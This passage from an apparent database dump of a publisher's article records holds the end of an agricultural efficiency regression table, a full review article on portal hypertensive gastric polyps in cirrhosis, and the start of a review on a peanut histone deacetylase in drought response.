style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">PONFAC</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0472***</span></p>\r\n			</td>\r\n			<td style=\"width:52.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0136</span></p>\r\n			</td>\r\n			<td style=\"width:.9in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0375**</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0181</span></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0648***</span></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0125</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">SOILFERT</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0375***</span></p>\r\n			</td>\r\n			<td style=\"width:52.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0137</span></p>\r\n			</td>\r\n			<td style=\"width:.9in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0028</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0182</span></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0252**</span></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0126</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">LANDFR</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-0.0135*</span></p>\r\n			</td>\r\n			<td style=\"width:52.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0070</span></p>\r\n			</td>\r\n			<td style=\"width:.9in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-0.0008</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0093</span></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-0.0082</span></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0064</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"7\" style=\"width:6.7in\">\r\n			<p style=\"margin-left:5.4pt; margin-right:0in; text-align:center\"><strong><span style=\"font-size:10.0pt\">Note:</span></strong><span style=\"font-size:10.0pt\"> *,** and *** refers to level of significance at 10, 5 and 1% respectively</span></p>\r\n\r\n			<p style=\"margin-left:5.4pt; margin-right:0in; text-align:center\"><strong><span style=\"font-size:10.0pt\">Source:</span></strong><span style=\"font-size:10.0pt\"> Model output (2018) </span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table6</strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span></b><![endif]--><strong>:</strong> Tobit regression results of determinants of technical, allocative and economic efficiency</span></span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/136062b1d.png\" style=\"height:234px; width:803px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table </strong><strong>7</strong><strong>:</strong> The marginal effects of change in explanatory variables</span></span></p>\r\n','1548926925.pdf',NULL,'1548926925.jpg','',0,1,'2019-01-31 14:58:44','2019-02-01 15:05:15',1),(35,29,'20','2019','Portal Hypertensive Gastric Polyps','Malladi Uma Devi*','Review Article','Portal-Hypertensive-Gastric-Polyps','Portal Hypertensive Gastric Polyps','Portal Hypertensive Gastric Polyps','Portal Hypertensive Gastric Polyps','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Gastroenterology and Digestive Disorders</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Portal Hypertensive Gastric Polyps</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Malladi</strong><strong> </strong><strong>Uma</strong><strong> D</strong><strong>evi<sup>*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Associate Professor of Gastroenterology, Gandhi Medical College, Telangana, India</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author:</strong> Malladi Uma Devi, Associate professor Department of Gastroenterology Department of Gastroenterology Gandhi Hospital, Secunderabad, Telangana, India. Email: <a href=\"mailto:umadevimalladi_66@yahoo.co.in\">umadevimalladi_66@yahoo.co.in</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Devi MU (2019) Portal Hypertensive Gastric Polyps. J Gastroenterol Dig Disord: JGDD-100001.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date:</strong> 20 November, 2019; <strong>Accepted Date:</strong> 17 January, 2019; <strong>Published Date:</strong> 01 February, 2019</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.&nbsp;Abstract</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Portal hypertension is associated with an increased number of gastric polyps, hence the term portal hypertension-associated gastric polyps. Histopathological examination reveals mucosal hyperplasia and vascular proliferation. Formation may be due to mucosal injury that is vascular in nature. Their malignant potential has not been fully elucidated, however, lesions can grow to a large size. Patients with portal hypertension are at increased risk of post polypectomy bleeding and other complications of polypectomy. Surveillance is likely to be safer than multiple polypectomies, therefore in patients with portal hypertension it is essential that gastric polyps are photographed and biopsied during routine surveillance gastroscopies.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mucosal abnormalities of gastrointestinal tract are common in patients with portal hypertension .Upper gastrointestinal mucosal abnormalities are more common 65 % [1]. Gastric mucosal abnormalities are Fundal varices, gastric antral vascular ectasia and Portal hypertensive gastropathy and gastric polyps [1].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.1.&nbsp;</strong><strong>Gastric Polyps</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Unlike polyps of the colon, Gastric polyps in general population are relatively uncommon, with an incidence of &lt;2-3%. The most common polyps are fundic gland and hyperplastic types, comprising 77% and 17%, respectively. Adenomas are relatively rare, making up &lt;1% of detected polyps.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.2.&nbsp;</strong><strong>Portal Hypertensive Polyps (PHP</strong>)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Portal hypertension is associated with an increased number of gastric polyps, hence the term portal hypertension-associated gastric polyps. It is a recent entity, described in cirrhotic patients with portal hypertension, portal venous obstruction or antral vascular ectasia. These lesions are similar to hyperplastic polyps, but withsubepithelial vascular alterations histological features.Its prevalence ranges from 1-3% [1,2] of gastric Polyps in Patients with portal Hypertension is 2.2% PHP. Till now few published reports of this entity. All pts are cirrhosis pts-100% and history of PPI therapy elicited in - 88% of pts. In Canada the incidence is about 0.1% only 12 cases are reported till now in 20years. Aravind et al. from India reported [5] portal hypertensive polyps in a study duration of 11 months, stating that polyps may be more common in the Indian population [3]. Gastroduodenal polyps were far more frequent in their study; almost 10% of patients had gastric polyps, and 8% had duodenal polyps.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.3.&nbsp;</strong><strong>Historical </strong><strong>B</strong><strong>ackground</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Zeitoun etal et al first described portal hyper tensive duodinal polyp-PHP in 2007 in GI bleed pt [4<strong>] </strong>Lam et al. first described the histopathology - mucosal hyperplasia, extensive vascular proliferation, and granulation tissue.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.4.&nbsp;</strong><strong>Location of Portal Hypertensive Polyps</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The most common Gastric polyps are fundic gland and Hyperplastic types, comprising 77% and 17%, and Portal Hypertensive Polyps &lt;2%. In a series by Amrapurkar Incidence gastric polyp in Portal Hypertension is 2.5 % (16out of 631pts). Of these 16, 9 (56.2%) are PHP, 6 (37.5%) Hyperplastic polyps, and one (6.25%) fundic gland polyp. Duodinal polyps were reported by Aravind et al. [5] and Boyed et al.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.5.&nbsp;</strong><strong>Etiopathogenesis</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Exact etiology of Portal Hypertensive gastric Polyps is not known. Although they have a similar endoscopic appearance to hyperplastic polyps, they are believed to have a different etiology. Histopathological examination reveals mucosal hyperplasia and vascular proliferation. Their malignant potential has not been fully elucidated, however, the size of the polyps vary and can grow to a large size upto 3cms. Formation of PHPs may be initiated by mucosal injury that is vascular in nature. Several theories are proposed for the formation of polyps in an setting of portal Hypertension with Reactive changes in mucosa secondary to Increased vascularity in Portal hypertension.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>* PPI usage</strong> -in cirrhosis and portal Hypertension .H/O f PPI therapy elicited in 76% of pts [6]. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>* H.Pylori infection</strong> - incidence of H.pylori In cirrhoisis is another proposed theory [6].<strong> </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">* <strong>M</strong><strong>ucosal injury</strong> - Following mucosal Injury there is ongoing healing and a reparative response in the form of foveolar hyperplasia. Resting Myofibroblasts in Muscularis propria are stimulated by mucosal injury, then they differentiate, proliferate, and migrate toward the site in injury. Hyperplastic tissue can either disappear (in 24.2% of cases) or persists, and progress to a Hyperplastic polyp. Hyperplastic polyp appears to be the result of over-vigorous regeneration that occurs in response to severe mucosal injury caused by penetration of the Muscularis propria .55% of hyperplastic polyps with typical signs of PHP first arose or progressed following rubber band ligation. Baudet et al. also reported a similar case, particularly implicating APC in the development of HP<sup>9.</sup>Macroscopically, portal hypertensive polyps cannot be distinguished from normal hyperplastic polyps but frequently present with small ulcerations [7,8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.6.&nbsp;</strong><strong>Histopathology of Portal Hypertensive Polyps</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Lam et al. -First described Typical Histopathological features [2]. The unique histological appearance of gastric hyperplastic polyps in patients with portal hypertension polyps is described. Marked Elongation tortuosity and dilatation of gastric foveolae with edema suggestive of foveolar hyperplasia with cystic dilations, edematous and fibrotic stoma scattered muscle bundles in surrounding stoma, a prominent capillary proliferation in the lamina propria, and scattered telangiectactic vessels. Numerous proliferating capillaries present in the sub epithelial tissue differentiating from Hyperplastic Polyps [4]. The histopathological examination of portal hypertensive polyps reveals mucosal hyperplasia and vascular proliferation with significantly higher vessel diameter of &gt;50 &mu;m and increased vascular density.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.7.&nbsp;</strong><strong>Morphometry</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Amrapurkar et al. studied Vessel density (mean vessel area/HPF) and diameter by using Morphometry lens. Foveolar Hyperplasia, with vascular proliferation Density and diameter of capillaries in the lamina propria were similar but more frequent. On immunohistochemistry, PH polyps and PH gastric mucosa had significantly higher vessel diameter of &gt;50 &mu;m, increased vascular density as compared to non-Portal Hypertensive Polyps (PHP) and normal gastric mucosa [9].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.8.&nbsp;</strong><strong>Immunohistochemistry Staining</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Staining with CD 34 as a marker of vascular proliferation, proliferating capillaries indicating angiogenesis [9]</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">There are still no clear diagnostic criteria for portal hypertensive polyps [10,11]. However, typical features of portal hypertensive polyps reportedly include foveolar hyperplasia of the epithelium as well as proliferating, ectatic capillaries in the lamina propria. These features indicate their portal hypertensive nature and distinguishes them from inflammatory polyps.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.9.&nbsp;</strong><strong>Risk Factors for PHPs</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The independent risk factors for PHP were identified. There is thrombocytopenia (platelet count &lt; 130 &times; 10<sup>3</sup>/<em>&mu;</em>l), Child-Pugh score &gt; 6, and MELD score &gt; 16. The strongest risk factor for the development of these polyps was previous rubber band ligation. This may be because band ligation of the esophageal varices leads to increased formation of portosystemic shunts, including the gastric wall [12,13].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.10.&nbsp;</strong><strong>Natural History</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Although there is an emerging evidence of the neoplastic potential of usual hyperplastic polyps, the natural history of portal hypertension-associated polyps is unknown. Identification and management of portal hypertension-associated gastric polyps present a particular dilemma, as these patients often have coagulopathies and vascular ectasias10. Therefore, the natural history and endoscopic features of gastric polyps arising in portal hypertensive patients warrants further exploration.<strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2.11. General Recommendations are</strong></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Portal Hypertensive Polyps-what is the best way to diagnose:</strong> Endoscopic features are Insufficient and indistinguishable from other polyps. Endoscopic ultra sound helps in assessing the vascularity of the polyp in special situations where there are obstructive symptoms with need for resection.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Are mucosal Biopsies are adequate? Or do we need to resect polyp for diagnosis?: </strong>Mucosal Biopsies are inadequate. Resection associated with high degree of bleeding (No increased Risk in colonic polypectomies) Reasonable approach should be to do mucosal biopsies initially and follow up the patients as these patients undergo upper endoscopy every 6months as per the protocol</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>What is the risk of turning into malignancy?: </strong>As they resemble Hyperplastic polyps which are now considered to harbor risk of malignancy, these may be expected to behave similarly. However, there are No reports of Increased Gastric malignancy In Cirrhosis.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>How significant these lesions to Practicing clinician: treatment has to be individualized: </strong></span></li>\r\n</ul>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Neoplastic lesions need to be ruled out.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Risk of continuing blood loss more in duodenal polyps.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Polyp causing Obstructing symptoms by their location and sizes have to be removed after taking precautions.</span></li>\r\n</ol>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp; <strong>2.11.&nbsp;</strong><strong>Surveillance</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hyperplastic polyps account for more than 50% of gastric polyps and are generally considered benign. Though their malignant potential is low, there is evidence supporting clonality and neoplastic potential of gastric HP particularly with polyps &gt;5 mm is likely to be safer than multiple polypectomies, therefore in patients with portal hypertension it is essential that gastric polyps are photographed and biopsied during routine [14].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.&nbsp;Conclusions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">* PHP are definite identifiable lesions in advanced cirrhosis pts with portal hypertension. Natural history and Pathogenesis of PHP is not known. May be related to angiogenesis following vascular mucosal injury after APC or band ligations</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">*These PHP lesions are typically localized in the antrum of the stomach, are mostly multiple, and show typical microscopic findings.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">* Given the histological resemblance to Hyperplastic polyp which are now considered to harbor the risk of malignancy - potential to transform into malignancy cannot be undermined.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">* Diagnosis and Management of gastric Polyps in cirrhosis, Require further exploration </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">* Surveillance is likely to be safer than multiple polypectomies Gastric polyps are photographed and biopsied during routine surveillance gastroscopies. Current recommendation is to restrict polypectomy only to those with specific reasons, symptoms or clear cut risk of future malignancy.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1038/ajg.2009.139\">Cormack SW, Genta RM, Schuler CM (2009) The current spectrum of gastric polyps: a 1-year national study over 120,000 patients. Am J Gastroenterol 104: 1524-1532.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s12664-013-0331-4\">Pai CG (2013) Portal hypertensive polyp - what is in a name? Indian J Gastroenterology 32: 163-164.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/gut.2009.182089\">Goddard AF, Badreldin R, Pritchard MD (2010) The management of gastric polyps. Gut 59: 1270-1276.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/meg.0b013e32834c15cf\">Lam MC, Tha S, Owen D, Haque M, Chatur N, et al. (2011) Gastric polyps in patients with portal hypertension Eur J Gastroenterology Hepatol 23: 1245-1252.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ijmedicine.com/index.php/ijam/article/view/254\">Aravind C, Arul Murugan S, Sai Ravi Kiran B (2017) A study of portal hypertensive polyps. International Journal of Advances in Medicine 4: 2017.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/24403387\">R-Boyd JT (2014) Portal hypertension-associated gastric polyps. BMJ Case Rep.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://kjim.org/journal/view.php?number=168367\">Lee TH, Jang JY, Jeong SW, Jin SY (2013) Gastric polyposis associated with portal hypertension. Korean Journal of Internal Medicine 28: 261.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://journals.sagepub.com/doi/abs/10.1177/2050640614529108\">Lemmers A, Evrard S, Demetter P (2014) Gastrointestinal polypoid lesions: a poorly known endoscopic feature of portal hypertension. United European Gastroenterology Journal 2: 189-196.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://europepmc.org/abstract/MED/23512212\">Amrapurkar D, Choksi M, Bhatt N, Amrapurkar P (2013) Portal hypertensive polyps: Distinct entity. Indian Journal of Gastroenterology 32: 195-199.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Veronica Mart&iacute;n-Dominguez V, Diaz Mendez A, Santander C, Garcia-Buey L (2016) Portal hypertensive polyps, a new entity? Revista Espanola de Enfermedades Digestivas 108: 279-280. </span></span></li>\r\n</ol>\r\n\r\n<h4 style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">11. <a href=\"https://doi.org/10.14309/crj.2015.27\">Kimberly Kolkhorst and Prasad Kulkarni (2015) Esophagus Portal Hypertensive Polyposis: A Consequence of Esophageal Variceal Ligation? Case Rep J 2: 125-126.</a> </span></span></h4>\r\n\r\n<ol start=\"12\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Sarwar S, Khan AA, Alam A (2006) Effect of band ligation on portal hypertensive gastropathy and development of fundal varices. J Ayyub Med Coll Abbottabad 18: 32-35.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.4103/0976-9668.160048\">Nihar Shah, Yana Cavanagh, Dharmesh H Kaswala, Sohail (2015) Development of Hyperplastic polyps following argon plasma coagulation of gastric antral vascular ectasia Jr NSB 6: 479-482.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Jason Timothy Boyd, Lennard Lee, Boyd JT (2014) Portal hypertension-associated gastric polyps.</span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:.25in; margin-right:0in; text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">BMJ Case Rep</span></span></p>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/137ada4cf.png\" style=\"height:327px; width:415px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> Polyps in antrum.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/13838ac92.png\" style=\"height:327px; width:455px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2:</strong> Pyloric polyps blocking lumen.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/139c4dd11.png\" style=\"height:327px; width:430px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 3: </strong>Foveolar Hyperplasia.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1405701dc.png\" style=\"height:327px; width:354px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 4:</strong> Cystic dilations, edematous and fibrotic stoma.</span></span></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Devi MU (2019) Portal Hypertensive Gastric Polyps. J Gastroenterol Dig Disord: JGDD-100001.</span></span></p>\r\n','','1549013995.pdf',NULL,'1549013995.jpg','',0,1,'2019-02-01 15:09:55','2019-02-01 15:35:27',1),(36,38,'20','2019','Arachis hypogaea histone deacetylase1 (Ahhda1) is involved in the Epigenetic Regulation of the Drought Stress Response','Bo Hu, Ling Li*','Research Article','Arachis-hypogaea-histone-deacetylase1-Ahhda1-is-involved-in-the-Epigenetic-Regulation-of-the-Drought-Stress-Response','Arachis hypogaea histone deacetylase1-Ahhda1-is-involved-in-the-Epigenetic-Regulation-of-the-Drought-Stress-Response','Arachis-hypogaea-histone-deacetylase1-Ahhda1-is-involved-in-the Epigenetic Regulation of the-Drought-Stress-Response','Arachis hypogaea histone deacetylase1 (Ahhda1) is involved in the Epigenetic Regulation of the Drought Stress Response','<p style=\"text-align:center\"><strong><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\">Current Trends in Biotechnology and Biochemistry</span></span></strong></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><em>Arachis hypogaea </em>histone deacetylase1 (Ahhda1) is involved in the Epigenetic Regulation of the Drought Stress Response</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Bo Hu, Ling Li<sup>*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Guangdong Provincial Key Laboratory of Biotechnology for Plant Development, School of Life Sciences,South China Normal University, China</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author: </strong>Ling Li, Guangdong Provincial Key Laboratory of Biotechnology for Plant Development, School of Life Sciences, South China Normal University, 510631, China. Tel: +862085211065, Email: <a href=\"mailto:liling502@126.com\">liling502@126.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Li L and Hu B (2019) <em>Arachis hypogaea</em> histone deacetylase1 (Ahhda1) is involved in the Epigenetic Regulation of the Drought Stress Response. Curr Trends Biotechnol Biochem: CTBB-100001</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>23 December, 2018<strong>; Accepted Date: </strong>07 January, 2019<strong>; Published Date: </strong>13 February, 2019</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Epigenetic control of chromatin structure plays a critical role in plant stress responses. Thus, histone density and various histone modifications are involved in the response to both drought and the phyto hormone abscisic acid (ABA) in various plants. Particularly important in this context is histone acetylation, and in this review the recent progress in understanding the part played by histone deacetylase1 (AhHDA1) from peanut (<em>Arachis hypogaea</em>) in the epigenetic regulation of the drought stress response was summarized. We also explore the prospects for future research in this field. In addition, we explore how plants are able to manipulate epigenetic regulation to enhance their stress tolerance, as well as how histone modifications in drought stress involved in the regulation of gene expression.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong><strong> </strong>AhHDA1; epigenetic regulation; peanut; drought stress</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Plants are often subjected to abiotic stress, such as drought stress, which limits cell growth and development, and consequently 